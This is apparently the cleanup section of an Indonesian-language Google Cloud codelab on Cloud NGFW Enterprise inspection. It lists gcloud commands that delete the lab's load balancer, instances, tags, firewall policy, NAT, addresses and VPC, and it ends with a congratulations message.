Tentukan variabel lingkungan jika diperlukan. Dari Cloud Shell, hapus komponen Load Balancer Jaringan:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Menghapus instance:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Opsional, lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Hapus Kunci dan nilai Tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Menghapus Cloud Router dan Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Hapus alamat IP yang dicadangkan:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Terakhir, hapus subnet dan jaringan VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Selamat!
Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk East-West dan North-South Inspection.